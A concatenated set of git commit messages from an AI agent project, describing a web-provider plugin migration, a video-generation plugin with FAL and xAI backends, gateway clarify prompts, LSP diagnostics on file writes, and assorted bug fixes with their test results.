- Drop _WEB_PLUGIN_SKIPLIST + hardcoded TOOL_CATEGORIES["web"] rows
(next commit)
- Delete tools/web_providers/ directory entirely
- Add tests/plugins/web/ coverage
- Full tests/tools/ + tests/gateway/ regression sweep before promoting PR
Two regressions discovered by running the full tests/tools/ suite after
the dispatcher cutover, both fixed in this commit:
1. web_crawl_tool incorrectly errored "search-only" for firecrawl
---------------------------------------------------------------------
The cutover treated any provider with supports_crawl()==False as a
search-only backend and returned the typed search-only error. But
firecrawl can crawl via the legacy multi-page-extract path inside
web_crawl_tool — it just doesn't expose supports_crawl on the plugin
(adding native firecrawl crawl is a clean follow-up).
Fix: only emit the search-only error when the provider supports
NEITHER crawl NOR extract (brave-free / ddgs / searxng). When the
provider supports extract but not crawl (firecrawl), fall through to
the legacy firecrawl-via-extract path below.
2. firecrawl plugin's check_website_access wasn't patchable
---------------------------------------------------------------------
The plugin imported `from tools.website_policy import check_website_access`
INSIDE the extract() function body, so monkeypatching the name on
plugins.web.firecrawl.provider had no effect — the inner import re-bound
the name on every call.
Fix: hoist the import to module level. Cheap (website_policy itself
has no heavy deps) and makes the standard
monkeypatch.setattr(firecrawl_provider, "check_website_access", ...)
pattern work.
Test updates (tests/tools/test_website_policy.py — 4 tests):
- test_web_extract_short_circuits_blocked_url
- test_web_extract_blocks_redirected_final_url
Both: patch the gate at plugins.web.firecrawl.provider (where it
runs after migration) and force the firecrawl plugin to be the
active extract provider via FIRECRAWL_API_KEY.
- test_web_crawl_short_circuits_blocked_url
- test_web_crawl_blocks_redirected_final_url
Both: unchanged — the dispatcher-level gate at tools.web_tools.py
line 1651 still uses the imported `check_website_access` name and
the firecrawl-fallthrough path is exercised as before.
Verified: 22/22 tests/tools/test_website_policy.py pass.
Cuts over web_search_tool, web_extract_tool, and web_crawl_tool in
tools/web_tools.py to dispatch through agent.web_search_registry
instead of the legacy hardcoded if-elif backend chains.
Per-tool changes:
web_search_tool (sync)
Replace 5 backend branches (parallel, exa, registry-3-providers,
tavily, firecrawl-fallthrough) with a single registry path:
1. _get_search_backend() resolves the configured name
2. _wsp_get_provider(name) for explicit-config-wins semantics
3. get_active_search_provider() fallback for typo / unknown name
4. provider.search(query, limit) — sync for all 7 providers
web_extract_tool (async)
Replace 4 backend branches (parallel-async, exa-sync, tavily-sync,
search-only-error, firecrawl-perurl-loop) with:
1. Same provider resolution as search.
2. When configured backend IS registered but doesn't support
extract (search-only providers like brave-free), surface a
typed "search-only" error matching the legacy text — tests
assert that wording.
3. inspect.iscoroutinefunction(provider.extract) detects sync vs
async: parallel + firecrawl are async; exa + tavily are sync.
Sync extracts run in asyncio.to_thread() so we don't block.
web_crawl_tool (async)
Replace tavily-specific branch + search-only-error block with:
1. _wsp_get_provider(backend) — explicit config first
2. Search-only typed error when the configured name doesn't
support crawl (matches legacy phrasing)
3. get_active_crawl_provider() fallback otherwise
4. provider.crawl(url, **kwargs) — async-or-sync dispatch as above
5. Response post-processing (LLM summarization, trimming) stays
unchanged — it's not provider-specific.
When no plugin advertises supports_crawl, falls through to the
existing Firecrawl-via-web-summarize path below (unchanged).
Test updates (2 tests in tests/tools/test_web_tools_config.py):
- test_web_search_clamps_limit_before_backend_call:
patch("tools.web_tools._parallel_search") -> patch the registry
provider returned by agent.web_search_registry.get_provider
- test_search_error_response_does_not_expose_diagnostics:
patch("tools.web_tools._get_firecrawl_client") -> same pattern
Tests unchanged (still pass):
- All TestXBackendWiring classes (test _get_backend / _is_backend_available
config-resolution, independent of dispatch)
- All TestXSearchOnlyErrors classes (test the search-only error path
via web_extract_tool / web_crawl_tool — error text preserved)
- 141 passing web tests total, 0 regressions.
Dead-code cleanup deferred to a follow-up commit so this diff stays
focused on the cutover. After this commit:
- tools.web_tools._exa_search / _exa_extract / _parallel_search /
_parallel_extract / _tavily_request / _normalize_tavily_* /
_get_firecrawl_client / _extract_web_search_results /
_extract_scrape_payload / _to_plain_object / _normalize_result_list
are no longer called by the dispatchers, but still exist.
- The config-resolution layer (_get_backend, _is_backend_available,
_is_tool_gateway_ready, _has_direct_firecrawl_config) IS still in
use and must stay.
- The Firecrawl proxy and check_firecrawl_api_key are still imported
by integration tests and patched by unit tests — must stay (or be
re-exported from the plugin).
Deletes tools/web_providers/{brave_free,ddgs,searxng}.py — the three
providers that moved to plugins/web/ in prior commits. tools/web_tools.py
no longer imports them (registry dispatch as of d8735963f), so removing
them is purely a cleanup pass.
Also migrates the existing tests to the new import paths:
tests/tools/test_web_providers_brave_free.py
tests/tools/test_web_providers_ddgs.py
tests/tools/test_web_providers_searxng.py
Mechanical rewrites:
- `from tools.web_providers.X import YSearchProvider`
-> `from plugins.web.X.provider import YWebSearchProvider`
- `.is_configured()` -> `.is_available()` (legacy method -> new method)
- `.provider_name()` -> `.name` (legacy method -> new property)
- `from tools.web_providers.base import WebSearchProvider`
-> `from agent.web_search_provider import WebSearchProvider`
(the subclass-check asserts membership in the new plugin-facing ABC)
- `sys.modules.delitem("tools.web_providers.ddgs")` updated to point at
`plugins.web.ddgs.provider` (cache-busting for lazy ddgs imports)
The TestXBackendWiring / TestXSearchOnlyErrors classes (covering
_is_backend_available, _get_backend, check_web_api_key, and the
"search-only" error paths in web_extract/web_crawl) are untouched —
those still test web_tools.py's backend-selection logic, which continues
to recognize the names "brave-free" / "ddgs" / "searxng" even after the
modules behind them moved to plugins.
tools/web_providers/base.py is intentionally NOT deleted by this commit
— it's the parent ABC of the legacy modules and shares its name with
agent/web_search_provider.py::WebSearchProvider. Removing it surfaces the
naming collision (see PR description Finding 0); the real migration PR
deletes it in the same commit that drops the _WEB_PLUGIN_SKIPLIST
guards in hermes_cli/tools_config.py.
Test results:
bash scripts/run_tests.sh tests/tools/test_web_providers_*.py
-> 65 passed in 3.41s (all rewritten unit tests + unchanged integration tests)
bash scripts/run_tests.sh tests/tools/test_web_*.py
-> 141 passed in 4.70s (full web test set, post-deletion)
The three migrated providers (brave-free, ddgs, searxng) are now dispatched
through agent.web_search_registry.get_provider() instead of importing
their concrete classes directly. The four inline providers (parallel, exa,
tavily, firecrawl) keep their existing branches — they live in
tools/web_tools.py itself and aren't part of this spike's plugin extraction.
The legacy tools/web_providers/{brave_free,ddgs,searxng}.py modules are
still in place (untouched by this commit) — Task 10 deletes them once the
real migration PR is ready. Keeping them alive during the spike means
revertibility is trivial.
E2E verified:
1. Plugin discovery registers ['brave-free','ddgs','searxng']
2. Config web.search_backend: brave-free resolves to the plugin instance
3. Dispatch result matches the original {success, data.web[]} contract
4. compile OK; no new LSP errors beyond pre-existing ones in web_tools.py
Fixes#25028.
The lazy-install hooks added in #25014 installed packages correctly but
failed to rebind module-level globals after install:
- Slack: missing aiohttp rebind → NameError on file uploads
- Feishu: none of the ~25 lark_oapi symbols rebound → TypeError on
adapter instantiation
- Matrix: mautrix.types enums stayed as stubs → mismatched values at
runtime
Introduces tools.lazy_deps.ensure_and_bind() — a DRY helper that
combines ensure() + importer-callable + globals().update(). This
eliminates the error-prone pattern of manually listing every global
that needs updating after lazy-install. Each platform adapter now
defines a single _import() function returning all bindings.
Also fixes: pyproject.toml [slack] extra was missing aiohttp (needed
by slack-bolt's async path).
Follow-up on @pty819's t2a_v2 endpoint fix:
- Default model: speech-02 -> speech-02-hd (bare 'speech-02' is not in the
supported enum; t2a_v2 rejects it with 400). Official enum: speech-01-hd,
speech-01-turbo, speech-02-hd, speech-02-turbo, speech-2.6-hd/turbo,
speech-2.8-hd/turbo.
- Default voice: female-shaonv -> English_expressive_narrator. The
legacy speech-01-series short ID doesn't resolve cleanly on the
speech-02+ models that are now the default.
- Default base URL: api.minimaxi.com -> api.minimax.io (matches the
canonical host in the published docs; api-uw.minimax.io is the
reduced-latency alt).
- Add GroupId support via tts.minimax.group_id config or MINIMAX_GROUP_ID
env var. Some MiniMax accounts scope TTS requests by group; without it,
requests 401. Only appended when not already in the user's base_url.
Tests rewritten to cover both the default t2a_v2 path (hex-encoded audio
in JSON, nested voice_setting/audio_setting) and the legacy
text_to_speech path (raw audio bytes, flat payload). Adds coverage for
GroupId config/env wiring and error surfacing.
Also adds AUTHOR_MAP entry for pty819's GitHub-noreply email.
The MiniMax TTS defaults were outdated:
- DEFAULT_MINIMAX_MODEL was 'speech-01' but MiniMax now uses 'speech-02'
- DEFAULT_MINIMAX_BASE_URL was 'https://api.minimax.chat/v1/text_to_speech'
which no longer works; the correct endpoint is
'https://api.minimaxi.com/v1/t2a_v2'
Users who configured tts.provider: minimax were getting model-not-supported
errors because the hardcoded defaults did not match available API permissions.
* feat(video_gen): unified video_generate tool with pluggable provider backends
One core video_generate tool, every backend a plugin. Mirrors the
image_gen + memory_provider + context_engine architecture: ABC, registry,
plugin-context registration hook, and per-plugin model catalogs surfaced
through hermes tools.
Surface (one schema, every backend):
- operation: generate / edit / extend
- modalities: text-to-video (prompt only), image-to-video (prompt +
image_url), video edit (prompt + video_url), video extend (video_url)
- reference_image_urls, duration, aspect_ratio, resolution,
negative_prompt, audio, seed, model override
- Providers ignore unknown kwargs and declare what they support via
VideoGenProvider.capabilities() — backend-specific quirks stay in the
backend, the agent learns one tool
Backends shipped:
- plugins/video_gen/xai/ — Grok-Imagine, full generate/edit/extend +
image-to-video + reference images (salvaged from PR #10600 by
@Jaaneek, reshaped into the plugin interface)
- plugins/video_gen/fal/ — Veo 3.1 (t2v + i2v), Kling O3 i2v,
Pixverse v6 i2v with model-aware payload building that drops keys a
model doesn't declare
Wiring:
- agent/video_gen_provider.py — VideoGenProvider ABC, normalize_operation,
success_response / error_response, save_b64_video / save_bytes_video,
$HERMES_HOME/cache/videos/
- agent/video_gen_registry.py — thread-safe register/get/list +
get_active_provider() reading video_gen.provider from config.yaml
- hermes_cli/plugins.py — PluginContext.register_video_gen_provider()
- hermes_cli/tools_config.py — Video Generation category in
hermes tools, plugin-only providers list, model picker per plugin,
config write to video_gen.{provider,model}
- toolsets.py — new video_gen toolset
- tests: 31 new tests covering ABC, registry, tool dispatch, both plugins
- docs: developer-guide/video-gen-provider-plugin.md (parallel to the
image-gen guide), sidebar + toolsets-reference + plugin guides updated
Supersedes: #25035 (FAL), #17972 (FAL), #14543 (xAI), #13847 (HappyHorse),
#10458 (provider categories), #10786 (xAI media+search bundle), #2984
(FAL duplicate), #19086 (Google Veo standalone — easy port to plugin
interface).
Co-authored-by: Jaaneek <Jaaneek@users.noreply.github.com>
* feat(video_gen): dynamic schema reflects active backend's capabilities
Address the 'capability variance' question — instead of one tool with a
static schema that lies about what every backend supports, the
video_generate tool now rebuilds its description at get_definitions()
time based on the configured video_gen.provider and video_gen.model.
The agent sees backend-specific guidance up-front:
- 'fal-ai/veo3.1/image-to-video': 'image-to-video only — image_url is
REQUIRED; text-only prompts will be rejected'
- 'fal-ai/veo3.1' (t2v): no image_url restriction shown
- xAI grok-imagine-video: 'operations: generate, edit, extend; up to 7
reference_image_urls'
- Backends without edit/extend: 'not supported on this backend — surface
that they need to switch backends via hermes tools'
This is the same pattern PR #22694 used for delegate_task self-capping —
documented in the dynamic-tool-schemas skill. Cache invalidation is
free: get_tool_definitions() already memoizes on config.yaml mtime, so a
mid-session backend swap rebuilds the schema automatically.
Tested:
- Empirical FAL OpenAPI schema check confirms image-to-video models
require image_url (FAL returns HTTP 422 otherwise) — client-side
rejection in FALVideoGenProvider.generate() now prevents the wasted
round-trip
- Live E2E: fal-ai/veo3.1/image-to-video + prompt-only → clean
missing_image_url error; fal-ai/veo3.1 + prompt-only → dispatches
- 6 new tests cover the builder (no config / image-only / full-surface /
text-only / unknown provider / registry wiring), all passing
- 37/37 in the slice, 134/134 in the broader regression set
* test(video_gen/xai): full surface integration tests + cleaner schema
Verified end-to-end that the xAI plugin handles every documented mode
from PR #10600's surface: text-to-video, image-to-video,
reference-images-to-video, video edit, video extend (with and without
prompt). All five modes route to the correct xAI endpoint
(/videos/generations, /videos/edits, /videos/extensions) with the right
payload shape (image / reference_images / video keys), and all five
client-side rejections fire before the network: edit-without-prompt,
extend-without-video_url, image+refs conflict, >7 references, and
duration/aspect_ratio clamping.
15 new integration tests grouped into four classes (endpoint routing,
modalities, validation, clamping). httpx is stubbed via a small fake
AsyncClient that records POSTs so the tests assert the actual payload
the plugin would send to xAI — not just the success/error envelope.
Also cleaned up a description redundancy: when a model's operations
match the backend's overall set, we no longer print the duplicate
'operations supported by this model' line. xAI's description now reads:
Active backend: xAI . model: grok-imagine-video
- operations supported by this backend: edit, extend, generate
- modalities supported by this backend: image, reference_images, text
- aspect_ratio choices: 16:9, 1:1, 2:3, 3:2, 3:4, 4:3, 9:16
- resolution choices: 480p, 720p
- duration range: 1-15s
- reference_image_urls: up to 7 images
Co-authored-by: Jaaneek <Jaaneek@users.noreply.github.com>
* feat(video_gen): collapse surface to t2v + i2v, family-based auto-routing
Two design changes per Teknium:
1) Drop edit/extend from the tool surface entirely. Only text-to-video
and image-to-video remain. The agent sees a clean tool with two
modalities; backend-specific quirks like xAI's edit/extend endpoints
stay out of the unified schema.
2) FAL: pick a model FAMILY once, the plugin routes between the
family's text-to-video and image-to-video endpoints based on whether
image_url was passed. Users no longer pick 'fal-ai/veo3.1' AND
'fal-ai/veo3.1/image-to-video' as separate options — they pick
'veo3.1', and the plugin handles the rest.
Catalog rewritten as families:
veo3.1 fal-ai/veo3.1 / fal-ai/veo3.1/image-to-video
pixverse-v6 fal-ai/pixverse/v6/text-to-video / fal-ai/pixverse/v6/image-to-video
kling-o3-standard fal-ai/kling-video/o3/standard/text-to-video / fal-ai/kling-video/o3/standard/image-to-video
xAI uses a single endpoint (/videos/generations) for both modes,
routed by the presence of the 'image' field in the payload — no
edit/extend exposure.
Schema changes:
- VIDEO_GENERATE_SCHEMA: drop operation, drop video_url. Final params:
prompt (required), image_url, reference_image_urls, duration,
aspect_ratio, resolution, negative_prompt, audio, seed, model.
- VideoGenProvider ABC: drop normalize_operation, VALID_OPERATIONS,
DEFAULT_OPERATION. capabilities() drops 'operations' key.
- success_response: add 'modality' field ('text' | 'image') so the
agent and logs can see which endpoint was actually hit.
Dynamic schema builder simplified — no operations bullet, no
'switch backends if you need edit/extend' guidance. When the active
backend supports both modalities (the common case), description reads:
Active backend: FAL . model: pixverse-v6
- supports both text-to-video (omit image_url) and image-to-video
(pass image_url) - routes automatically
- aspect_ratio choices: 16:9, 9:16, 1:1
- resolution choices: 360p, 540p, 720p, 1080p
- duration range: 1-15s
- audio: pass audio=true to enable native audio (pricing tier)
- negative_prompt: supported
Tests: 51 in the video_gen slice, 216 across the broader image+video
sweep, all passing. New FAL routing tests prove pixverse-v6 + no image
hits text-to-video endpoint, pixverse-v6 + image_url hits
image-to-video endpoint, same for veo3.1 and kling-o3-standard.
Docs updated: developer-guide page rewrites the 'model families' pattern
as a first-class section so external plugin authors know the convention.
toolsets-reference and toolsets.py descriptions match the new surface.
Co-authored-by: Jaaneek <Jaaneek@users.noreply.github.com>
* feat(video_gen/fal): expand catalog to 6 families, cheap + premium tiers
Catalog now covers everything Teknium specced from FAL:
Cheap tier:
ltx-2.3 fal-ai/ltx-2.3-22b/text-to-video / image-to-video
pixverse-v6 fal-ai/pixverse/v6/text-to-video / image-to-video
Premium tier:
veo3.1 fal-ai/veo3.1 / fal-ai/veo3.1/image-to-video
seedance-2.0 bytedance/seedance-2.0/text-to-video / image-to-video
kling-v3-4k fal-ai/kling-video/v3/4k/text-to-video / image-to-video
happy-horse fal-ai/happy-horse/text-to-video / image-to-video
DEFAULT_MODEL moved from veo3.1 (premium) to pixverse-v6 (cheap, sane
defaults, both modalities) — better first-run UX for users who haven't
explicitly picked a model.
New family-entry knob: image_param_key. Kling v3 4K's image-to-video
endpoint expects start_image_url instead of image_url; declaring
image_param_key='start_image_url' on the family lets _build_payload
remap correctly. Other families default to plain image_url.
Per-family capability flags reflect each model's docs:
- LTX 2.3 + Happy Horse: minimal payloads (no duration/aspect/resolution
enum exposed by FAL — let endpoint apply defaults)
- Seedance: 6 aspect ratios incl 21:9, durations 4-15, audio supported,
negative prompts NOT supported per docs
- Kling v3 4K: 16:9/9:16/1:1, 3-15s, audio + negative
- Veo 3.1: unchanged, 16:9/9:16, 4/6/8s
Tests: +5 covering the new families (full catalog, Kling 4K
start_image_url remap, Seedance routing, LTX payload minimality, Happy
Horse minimality). 56/56 in the slice green.
Note: I did NOT add the FAL-hosted xAI Grok-Imagine variant. Hermes
already has a direct xAI plugin that talks to xAI's own API; routing
the same model through FAL's wrapper would duplicate the surface
without adding capabilities. Users on FAL who want Grok-Imagine should
use the xAI plugin directly; flag if you want both routes available.
* test(video_gen): tool-surface routing matrix — every model x modality
End-to-end matrix test driven through _handle_video_generate() — the
actual function the agent's video_generate tool call lands in. Writes
config.yaml, invokes the registered handler with a raw args dict, then
asserts the outbound HTTP/SDK call hit the right endpoint with the right
payload shape.
Parametrized over FAL_FAMILIES.keys() so the matrix auto-discovers new
families as they're added (add a family to FAL_FAMILIES and you get
both modalities tested for free).
Coverage:
- All 6 FAL families x {text-only, text+image} = 12 cases
- xAI x {text-only, text+image} = 2 cases
- tool-level model= arg overrides config = 2 cases
For each case, verifies:
- result['success'] is True
- result['modality'] matches input shape ('text' if no image_url, 'image' otherwise)
- outbound endpoint URL matches the family's text_endpoint or image_endpoint
- text-only payloads carry no image-shaped keys
- text+image payloads carry the family's image key (image_url for most,
start_image_url for kling-v3-4k, wrapped 'image' object for xAI)
All 16 cases passing. Confirms the tool surface routes every
(provider, model, modality) combination correctly with zero leakage.
* feat(video_gen): keep video_gen out of first-run setup, surface in status
Two changes:
1. video_gen joins _DEFAULT_OFF_TOOLSETS, so it is NOT pre-selected in
the first-run toolset checklist. Video gen is niche, paid, and slow —
most users don't want it nagging them during initial setup. Anyone
who wants it opts in via 'hermes tools' -> Video Generation, which
already routes to the provider+model picker.
2. The 'hermes setup' status panel learns about video_gen — but only
shows the row when a plugin reports available. Users without
FAL_KEY/XAI_API_KEY see nothing about video gen; users with one of
those keys see 'Video Generation (FAL) ✓' as confirmation it's wired.
Verified live:
- Fresh install (no creds): zero video_gen mentions in wizard.
- With FAL_KEY: status row appears with active backend name.
- 160/160 in the setup + tools_config + video_gen test slice.
Rationale: image_gen is on by default because it's a featured creative
tool used in casual chat (telegrams, etc). Video gen is heavier — long
wait, paid per-second pricing. Default-off matches user intent better.
---------
Co-authored-by: Jaaneek <Jaaneek@users.noreply.github.com>
skill_view ran the direct-path strategy across every skill dir before
the recursive strategy, so a top-level skill in an external dir could
silently shadow a same-named nested local skill. /skills correctly
listed the local version (deduped local-first by _find_all_skills) but
skill_view loaded the external one — confusing, and a real bug class
for users with skills.external_dirs registered alongside categorized
local skills.
Pick a louder fix than @polkn's PR #6136 proposed: collect every match
across all dirs (direct path, recursive by parent dir name, legacy
flat <name>.md), and if there's more than one, refuse with an error
that surfaces every matching path plus a hint to load by the
categorized form. Local-first precedence would have replaced silent
external-shadowing with silent same-name collisions between two
externals, or made an externally-shadowed-by-local skill unreachable
by bare name with no signal. Refusing forces the user to disambiguate
once and never wonder which skill ran.
Recovery: pass the full categorized path
("foundations/runtime/explore-codebase" instead of
"explore-codebase"), or rename one of the colliding skills.
Co-authored-by: pol <pol.kuijken@gmail.com>
- memory_setup.py: use shlex.split() for plugin dep checks instead of shell=True
- transcription_tools.py: avoid shell=True for auto-detected whisper commands
(user-provided templates via env var still use shell=True for compatibility)
- cli.py: add comment clarifying intentional shell=True for user quick_commands
- Add test verifying auto-detected template is shlex-safe
Addresses CONTRIBUTING.md Priority #3 (Security hardening — shell injection).
Only Discord and Telegram had lazy-install hooks in their
check_*_requirements() functions. The remaining four platforms that were
moved to lazy_deps (Slack, Matrix, DingTalk, Feishu) would just return
False immediately if their packages weren't pre-installed — no attempt
to install them at runtime.
This means even with the .venv permissions fix (#24841), these four
platforms would still fail to load in Docker (or any fresh install)
unless the user manually ran pip install.
Add the same lazy_deps.ensure() pattern to all four, matching the
existing Discord/Telegram implementation.
* feat(nous): unified client=hermes-client-v<version> tag on every Portal request
Every Hermes request to Nous Portal now carries the same
client=hermes-client-v<__version__> tag (e.g. client=hermes-client-v0.13.0
on this release), sourced live from hermes_cli.__version__. The release
script's regex bump auto-aligns it on every release.
Centralized in agent/portal_tags.py and wired into all four call sites:
- NousProfile.build_extra_body (main agent loop, every chat completion)
- auxiliary_client.NOUS_EXTRA_BODY + _build_call_kwargs (aux client)
- run_agent.py compression-summary fallback path
- tools/web_tools.py web_extract fallback
Replaces the client=aux marker added in #24194 with the unified version
tag. Tests assert against the helper output (invariant) rather than the
literal string, so they don't need updating on every release.
* feat(nous): cover /goal judge and kanban specify aux paths
Two aux-using surfaces bypassed call_llm by invoking
client.chat.completions.create() directly without extra_body, so they
were missing the unified Portal client tag:
- hermes_cli/goals.py — /goal standing-goal judge
- hermes_cli/kanban_specify.py — kanban triage specifier
Both now pass extra_body=get_auxiliary_extra_body() or None so they
inherit the version tag when the aux client points at Nous Portal, and
emit nothing otherwise (no tag leak to OpenRouter/Anthropic auxes).
The live adapter path in _send_via_adapter called adapter.send() without
passing thread_id, while the standalone fallback path correctly forwarded
it. For plugin platforms (google_chat, teams, irc, line) running with the
gateway in-process, this caused every threaded reply to land as a new
top-level message instead of continuing the thread.
Matches the pattern already used by _send_matrix_via_adapter and
_send_feishu: build metadata={"thread_id": thread_id} and pass it through.
In WSL2, sounddevice.query_devices() returns [] even when the
PulseAudio bridge is functional. The existing code already handled
the case where the query itself raises an exception, but it missed
the empty-list case.
This change treats an empty device list as non-fatal in WSL when
PULSE_SERVER is configured, matching the existing exception-handler
behavior.
Fixes: WSL users seeing 'No audio input/output devices detected'
even though paplay/arecord work fine.
Tavily's /crawl endpoint requires Authorization: Bearer <key> in the header,
unlike /search and /extract which accept api_key in the JSON body.
Without the header, crawl returns 401 Unauthorized.
_parse_target_ref() has no handler for XMPP JIDs (user@server or
room@conference.server), so they fall through to the final
`return None, None, False`. This causes send_message to fail when
targeting an XMPP chat by JID, since the JID is not numeric and
doesn't match any other platform pattern.
Add an explicit check for XMPP targets containing '@', matching the
existing Matrix pattern above it.
Three follow-ups to PR #24168 found during live E2E testing on TS/bash files:
1. typescript-language-server now installs the typescript SDK (tsserver)
alongside it. Without that sibling install, initialize() failed with
"Could not find a valid TypeScript installation" and the server was
marked broken — no diagnostics ever reached the agent. New extra_pkgs
field on INSTALL_RECIPES makes that explicit and reusable for future
peer-dep cases.
2. _check_lint now treats "linter command exists on PATH but cannot
actually run" as skipped instead of error. The motivating case is
npx tsc when typescript is not in node_modules — npx prints its
"This is not the tsc command you are looking for" banner and exits
non-zero, which previously blocked the LSP semantic tier (gated on
success or skipped). Pattern-matched per base command (npx,
rustfmt, go) so genuine lint errors still flow through normally.
3. hermes lsp status now surfaces a Backend warnings section when
bash-language-server is installed but shellcheck is missing. The
server itself spawns fine but bash-language-server delegates
diagnostics to shellcheck — without it on PATH the integration
looks alive but never reports any problems. Same warning is
logged once at server spawn time.
Validation:
- 12 new tests in tests/agent/lsp/test_install_and_lint_fixes.py:
* recipe carries typescript SDK
* _install_npm passes both pkg + extras to npm CLI
* backwards compat: recipes without extras still work
* _backend_warnings quiet when bash absent / both present
* _backend_warnings fires when bash installed without shellcheck
* status output includes the Backend warnings section
* _looks_like_linter_unusable catches the npx tsc banner
* real TS type errors not misclassified as unusable
* unfamiliar linters fall through normally
* _check_lint returns skipped on npx tsc unusable
* _check_lint returns error on real tsc type errors
- Full lsp + file_operations test suite: 245/245 pass
- Live E2E:
* try_install("typescript-language-server") installs both packages
into node_modules
* write_file(bad.ts, ...) returns lint=skipped + lsp_diagnostics
with two real TS errors (was lint=error, no lsp_diagnostics)
* hermes lsp status renders the shellcheck warning when bash is
installed but shellcheck is not on PATH
The clarify tool returned 'not available in this execution context' for
every gateway-mode agent because gateway/run.py never passed
clarify_callback into the AIAgent constructor. Schema actively encouraged
calling it; users never saw the question.
Changes:
- tools/clarify_gateway.py — new event-based primitive mirroring
tools/approval.py: register/wait_for_response/resolve_gateway_clarify
with per-session FIFO, threading.Event blocking with 1s heartbeat
slices (so the inactivity watchdog keeps ticking), and
clear_session for boundary cleanup.
- gateway/platforms/base.py — abstract send_clarify with a numbered-text
fallback so every adapter (Discord, Slack, WhatsApp, Signal, Matrix,
etc.) gets a working clarify out of the box. Plus an active-session
bypass: when the agent is blocked on a text-awaiting clarify, the next
non-command message routes inline to the runner's intercept instead
of being queued + triggering an interrupt. Same shape as the /approve
deadlock fix from PR #4926.
- gateway/platforms/telegram.py — concrete send_clarify renders one
inline button per choice plus '✏️ Other (type answer)'. cl: callback
handler resolves numeric choices immediately, flips to text-capture
mode for Other, with the same authorization guards as exec/slash
approvals.
- gateway/run.py — clarify_callback wired at the cached-agent per-turn
callback assignment site (only the user-facing agent path; cron and
hygiene-compress agents have no human attached). Bridges sync→async
via run_coroutine_threadsafe, blocks with the configured timeout, and
returns a '[user did not respond within Xm]' sentinel on timeout so
the agent adapts rather than pinning the running-agent guard. Text-
intercept added to _handle_message before slash-confirm intercept
(skipping slash commands). clear_session called in the run's finally
to cancel any orphan entries.
- hermes_cli/config.py — agent.clarify_timeout default 600s.
- website/docs/user-guide/messaging/telegram.md — Interactive Prompts
section.
Tests:
- tests/tools/test_clarify_gateway.py (14 tests) — full primitive
coverage: button resolve, open-ended auto-await, Other flip, timeout
None, unknown-id idempotency, clear_session cancellation, FIFO
ordering, register/unregister notify, config default.
- tests/gateway/test_telegram_clarify_buttons.py (12 tests) — render
paths (multi-choice/open-ended/long-label/HTML-escape/not-connected),
callback dispatch (numeric resolve/Other flip/already-resolved/
unauthorized/invalid-token), and base-adapter text fallback.
Out of scope: bot-to-bot, guest mode, checklists, poll media, live
photos. Closes#24191.
* feat(lsp): semantic diagnostics from real language servers in write_file/patch
Wire ~26 language servers (pyright, gopls, rust-analyzer, typescript-language-server,
clangd, bash-language-server, ...) into the post-write lint check used by write_file
and patch. The model now sees type errors, undefined names, missing imports, and
project-wide semantic issues introduced by its edits, not just syntax errors.
LSP is gated on git workspace detection: when the agent's cwd or the file being
edited is inside a git worktree, LSP runs against that workspace; otherwise the
existing in-process syntax checks are the only tier. This keeps users on
user-home cwds (Telegram/Discord gateway chats) from spawning daemons.
The post-write check is layered: in-process syntax check first (microseconds),
then LSP semantic diagnostics second when syntax is clean. Diagnostics are
delta-filtered against a baseline captured at write start, so the agent only
sees errors its edit introduced. A flaky/missing language server can never
break a write -- every LSP failure path falls back silently to the syntax-only
result.
New module agent/lsp/ split into:
- protocol.py: Content-Length JSON-RPC framer + envelope helpers
- client.py: async LSPClient (spawn, initialize, didOpen/didChange,
ContentModified retry, push/pull diagnostic stores)
- workspace.py: git worktree walk-up + per-server NearestRoot resolver
- servers.py: registry of 26 language servers (extension match,
root resolver, spawn builder per language)
- install.py: auto-install dispatch (npm install --prefix, go install
with GOBIN, pip install --target) into HERMES_HOME/lsp/bin/
- manager.py: LSPService (per-(server_id, root) client registry, lazy
spawn, broken-set, in-flight dedupe, sync facade for tools layer)
- reporter.py: <diagnostics> block formatter (severity-1-only, 20-per-file)
- cli.py: hermes lsp {status,list,install,install-all,restart,which}
Wired into tools/file_operations.py:
- write_file/patch_replace now call _snapshot_lsp_baseline before write
- _check_lint_delta gains a third tier: LSP semantic diagnostics when
syntax is clean
- All LSP code paths swallow exceptions; write_file's contract unchanged
Config: 'lsp' section in DEFAULT_CONFIG with enabled (default true),
wait_mode, wait_timeout, install_strategy (default 'auto'), and per-server
overrides (disabled, command, env, initialization_options).
Tests: tests/agent/lsp/ -- 49 tests covering protocol framing (encode and
read_message round-trip, EOF/truncation/missing Content-Length), workspace
gate (git walk-up, exclude markers, fallback to file location), reporter
(severity filter, max-per-file cap, truncation), service-level delta filter,
and an in-process mock LSP server that exercises the full client lifecycle
including didChange version bumps, dedup, crash recovery, and idempotent
teardown.
Live E2E verified end-to-end through ShellFileOperations: pyright
auto-installed via npm into HERMES_HOME, baseline captured, type error
introduced, single delta diagnostic surfaced with correct line/column/code/
source, then patch fix removes the diagnostic from the output.
Docs: new website/docs/user-guide/features/lsp.md page covering supported
languages, configuration knobs, performance characteristics, and
troubleshooting; cli-commands.md updated with the 'hermes lsp' reference;
sidebar updated.
* feat(lsp): structured logging, backend gate, defensive walk caps
Cherry-picks the substantive ideas from #24155 (different scope, same
problem space) onto our PR.
agent/lsp/eventlog.py (new): dedicated structured logger
``hermes.lint.lsp`` with steady-state silence. Module-level dedup sets
keep a 1000-write session at exactly ONE INFO line ("active for
<root>") at the default INFO threshold; clean writes log at DEBUG so
they never reach agent.log under normal config. State transitions
(server starts, no project root for a file, server unavailable) fire
at INFO/WARNING once per (server_id, key); novel events (timeouts,
unexpected errors) fire WARNING per call. Grep recipe: ``rg 'lsp\\['``.
agent/lsp/manager.py: wire the eventlog into _get_or_spawn and
get_diagnostics_sync so users can answer "did LSP fire on this edit?"
with a single grep, plus surface "binary not on PATH" warnings once
instead of silently retrying every write.
tools/file_operations.py: backend-type gate. ``_lsp_local_only()``
returns False for non-local backends (Docker / Modal / SSH /
Daytona); ``_snapshot_lsp_baseline`` and ``_maybe_lsp_diagnostics``
now skip entirely on remote envs. The host-side language server
can't see files inside a sandbox, so this prevents pretending to
lint a file the host process can't open.
agent/lsp/protocol.py: 8 KiB cap on the header block in
``read_message``. A pathological server that streams headers
without ever emitting CRLF-CRLF would have looped forever consuming
bytes; now raises ``LSPProtocolError`` instead.
agent/lsp/workspace.py: 64-step cap on ``find_git_worktree`` and
``nearest_root`` upward walks, plus try/except containment around
``Path(...).resolve()`` and child ``.exists()`` calls. Defensive
against pathological inputs (symlink loops, encoding errors,
permission failures mid-walk) — the lint hook is hot-path code and
must never raise.
Tests:
- tests/agent/lsp/test_eventlog.py: 18 tests covering steady-state
